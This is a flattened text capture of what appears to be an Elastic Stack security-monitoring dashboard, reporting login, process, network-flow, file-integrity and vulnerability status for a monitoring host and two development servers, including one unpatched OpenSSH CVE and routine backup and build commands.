CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
TimeUserCommandHostRiskMITRE
No privilege escalation events ✓
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
1
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
2
Active Sessions
current
0
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
03:00backup rsync -az /data/prod /backup/ LOW —
09:10backup duplicati run LOW —
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
0 SUSPECTS
UserSource IPCountryTimeAuthFlag
backup 10.0.5.1 AU03:00key OK
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
rsyncbackup192.168.100.5AU 873TCP12GB LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
rsyncbackup 192.168.100.5 AU873TCP 12GB LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
No open CVEs ✓
FieldValue
HostnameSRV-MON
IP Address10.0.1.8
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
EnvironmentMANAGEMENT
Risk LevelLOW
Uptime33d 17h
Total Procs196
Open Files18,240
Open Ports5
🔷 Elastic Stack Agent Coverage
5/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
v8.12.0
● ACTIVE
FIM · syscall
🌐
Packetbeat
v8.12.0
● ACTIVE
DNS · HTTP · flows
🖥️
OSQuery
v8.12.0
● ACTIVE
process · socket · cron
284,847
Events/day
47.2 GB
Index size
12 ms
Avg query
99.98%
Uptime
8
Dashboards
✅ LOW — Monitoring host (Elastic Stack) is healthy. Elasticsearch GREEN (3 nodes, 47.2GB). Kibana running. Logstash queue at 84% — consider increasing pipeline workers or buffer capacity.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
0
sudo -i / su root
Direct root shell
1
SETUID Executions
setuid bit triggered
0
Sudo Anomalies
Off-hours / new cmds
0
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
TimeUserCommandHostRiskMITRE
No privilege escalation events ✓
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
3
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
4
Active Sessions
current
0
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
continuouselasticsearch elasticsearch-node LOW —
continuouskibana kibana-node LOW —
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
0 SUSPECTS
UserSource IPCountryTimeAuthFlag
sysadmin 10.0.0.1 AU09:55key OK
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
kibana*0.0.0.0* 5601HTTPvaried LOW—
elasticsearchinternal10.0.1.0/24AU 9200HTTPvaried LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
kibana* 0.0.0.0 *5601HTTP varied LOW —
elasticsearchinternal 10.0.1.0/24 AU9200HTTP varied LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
No open CVEs ✓
FieldValue
HostnameSRV-DEV-01
IP Address10.0.6.1
OSUbuntu 22.04.1 LTS
Kernel5.15.0-76-generic
EnvironmentDEVELOPMENT
Risk LevelMEDIUM
Uptime15d 4h
Total Procs224
Open Files6,841
Open Ports4
🔷 Elastic Stack Agent Coverage
2/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
—
○ INACTIVE
INACTIVE — not deployed
🌐
Packetbeat
—
○ INACTIVE
INACTIVE — not deployed
🖥️
OSQuery
—
○ INACTIVE
INACTIVE — not deployed
6,844
Events/day
0.9 GB
Index size
7 ms
Avg query
99.9%
Uptime
2
Dashboards
⚠️ MEDIUM — Dev host missing Auditbeat/Packetbeat/OSQuery. CVE-2024-6387 (OpenSSH regreSSHion CVSS 8.1) unpatched. Risk of lateral movement from dev to production via shared SSH keys. Deploy agents + patch urgently.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
0
sudo -i / su root
Direct root shell
2
SETUID Executions
setuid bit triggered
1
Sudo Anomalies
Off-hours / new cmds
0
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
TimeUserCommandHostRiskMITRE
11:14developerdocker build -t app SRV-DEV-01SRV-DEV-01—
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
8
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
5
Active Sessions
current
0
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
11:14developer docker build -t app:latest LOW —
10:30developer npm install LOW —
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
0 SUSPECTS
UserSource IPCountryTimeAuthFlag
developer 10.0.0.20 AU09:00key OK
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
dockerdeveloperregistry.docker.ioUS 443HTTPSvaried LOW—
nodedeveloper0.0.0.0* 3000HTTPvaried LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
dockerdeveloper registry.docker.io US443HTTPS varied LOW —
nodedeveloper 0.0.0.0 *3000HTTP varied LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2024-6387 8.1 OpenSSH 9.x Remote code exec race in sshd signal handler PATCH AVAILABLE T1190
FieldValue
HostnameSRV-DEV-02
IP Address10.0.6.2
OSUbuntu 22.04.1 LTS
Kernel5.15.0-76-generic
EnvironmentDEVELOPMENT
Risk LevelLOW
Uptime9d 2h
Total Procs178
Open Files4,210
Open Ports3
🔷 Elastic Stack Agent Coverage
2/5 ACTIVE
📁
Filebeat
v8.12.0
● ACTIVE
auth.log · syslog
📈
Metricbeat
v8.12.0
● ACTIVE
CPU · mem · disk · network
🔍
Auditbeat
—
○ INACTIVE
INACTIVE
🌐
Packetbeat
—
○ INACTIVE
INACTIVE
🖥️
OSQuery
—
○ INACTIVE
INACTIVE
3,244
Events/day
0.5 GB
Index size
5 ms
Avg query
100%
Uptime
1
Dashboards
✅ LOW — SRV-DEV-02 is healthy. No threats or CVEs. Recommend deploying Auditbeat for audit trail parity with production. Python dev server running on port 8000.
📁 File Integrity Monitoring (FIM)
Auditbeat · inotify · Filebeat
File Integrity Monitoring — Auditbeat inotify watches
0
sudo -i / su root
Direct root shell
1
SETUID Executions
setuid bit triggered
0
Sudo Anomalies
Off-hours / new cmds
0
Capability Changes
CAP_SYS_ADMIN etc.
⚙️ Recent Privilege Events — auditd EXECVE
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
TimeUserCommandHostRiskMITRE
No privilege escalation events ✓
⚙️ Process Execution Monitor — auditd EXECVE · OSQuery
Process Execution — auditd EXECVE · OSQuery process_events
2
Failed Logins
brute force / bad cred
0
Root SSH Logins
PermitRootLogin risk
3
Active Sessions
current
0
Key Changes
authorized_keys modified
🔑 SSH Session Detail — Filebeat auth.log · wtmp · utmp
SSH & Session Activity — Filebeat auth.log · /var/log/secure
TimeUserCommandRiskMITRE
10:44developer python3 manage.py runserver LOW —
Outbound Traffic by Process — last 24h (Packetbeat)
🌐 Network Flow Detail — Packetbeat · iptables · netflow
0 SUSPECTS
UserSource IPCountryTimeAuthFlag
developer 10.0.0.21 AU08:55key OK
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
python3developer0.0.0.0* 8000HTTPvaried LOW—
Network Exfiltration Detection — Packetbeat · iptables · netflow
🛡 Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
python3developer 0.0.0.0 *8000HTTP varied LOW —
CVE IDCVSSPackageDescriptionStatusMITRE
No open CVEs ✓